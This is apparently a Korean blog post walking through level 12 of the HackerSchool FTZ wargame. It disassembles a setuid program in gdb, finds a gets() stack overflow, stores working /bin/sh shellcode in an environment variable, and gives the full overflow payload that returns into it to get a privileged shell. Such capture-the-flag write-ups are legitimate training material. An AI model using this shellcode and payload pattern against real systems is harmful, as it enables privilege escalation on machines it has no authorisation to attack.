-
lvl 12Wargame/HackerSchool FTZ 2019. 1. 15. 22:18
→ 힌트 정보 열람.
→ setreuid 함수와 gets 함수를 볼 수 있음. bof 문제로 추측. 따라서, gdb를 통해 디버깅.
[level12@ftz tmp]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc15
0x08048481 <main+17>: push 0xc15
0x08048486 <main+22>: call 0x804835c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0xc
0x08048491 <main+33>: push 0x8048538
0x08048496 <main+38>: call 0x804834c <printf>
0x0804849b <main+43>: add esp,0x10
0x0804849e <main+46>: sub esp,0xc
0x080484a1 <main+49>: lea eax,[ebp-264]
0x080484a7 <main+55>: push eax
0x080484a8 <main+56>: call 0x804831c <gets>
0x080484ad <main+61>: add esp,0x10
0x080484b0 <main+64>: sub esp,0x8
0x080484b3 <main+67>: lea eax,[ebp-264]
0x080484b9 <main+73>: push eax
0x080484ba <main+74>: push 0x804854c
0x080484bf <main+79>: call 0x804834c <printf>
0x080484c4 <main+84>: add esp,0x10
0x080484c7 <main+87>: leave
0x080484c8 <main+88>: ret
0x080484c9 <main+89>: lea esi,[esi]
0x080484cc <main+92>: nop
0x080484cd <main+93>: nop
0x080484ce <main+94>: nop
0x080484cf <main+95>: nop
End of assembler dump.
(gdb) b *main+56
Breakpoint 1 at 0x80484a8
→ 0x108을 할당하고, 0x108의 10진수 값은 264바이트이다. 코드상에선 256바이트만큼 배열을 할당하므로, 나머지 8바이트는 더미 값으로 추측 가능하다. 따라서 메모리 구조는 아래와 같다.
→ 에그쉘을 사용하기 위해, 아래와 같이 환경변수에 쉘코드를 추가한다.
export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
→ 환경변수의 주소는 아래 C 소스코드를 컴파일하여 실행한다.
#include <stdio.h>
int main()
{
printf("addr: %p\n", getenv("SHELLCODE"));
return 0;
}
[level12@ftz tmp]$ ./test
addr: 0xbffffc1b
→ 쉘 코드 주소를 구했는데, 아규먼트가 아닌 사용자 입력 값을 스크립트 형태로 넘기기 힘든것을 깨달았다. 검색한 결과, |(버티컬 바)를 이용하여 넘길 수 있다.
(python -c 'print "A"*268+"\x1b\xfc\xff\xbf"';cat)|./attackme
댓글